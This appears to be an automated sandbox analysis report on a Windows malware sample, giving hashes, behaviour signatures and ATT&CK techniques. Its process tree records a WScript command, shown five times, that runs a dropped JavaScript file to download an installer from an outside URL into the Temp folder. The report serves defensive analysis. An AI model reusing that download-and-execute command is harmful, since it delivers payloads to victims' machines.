Analysis

  • max time kernel
    132s
  • max time network
    107s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 18:20

General

  • Target

    6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    6bd853382d3348142617153794ac6aa3

  • SHA1

    69459c8eb0b31858b738a8223872c2eeafb01e77

  • SHA256

    90c1a293e0e53e0bce3757aa6f0be2be93643c35566930788b2d091582f6ab62

  • SHA512

    ccaf2316595c470e2ce99b9d24c2cecf7a69bc11560d46e9639fe3e8e8bc850557ae74f7767baf3c13c3b3a5bbf97f7b4ff58c970df16432dc90481295b6e62b

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3K:/7BSH8zUB+nGESaaRvoB7FJNndnP

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\6bd853382d3348142617153794ac6aa3_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe
      2⤵
      • Blocklisted process makes network request
      PID:2724
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe
      2⤵
      • Blocklisted process makes network request
      PID:1612
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe
      2⤵
      • Blocklisted process makes network request
      PID:940
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe
      2⤵
      • Blocklisted process makes network request
      PID:1808
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf5BEB.exe
      2⤵
      • Blocklisted process makes network request
      PID:316

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

JavaScript

1
T1059.007

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf5BEB.js
    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76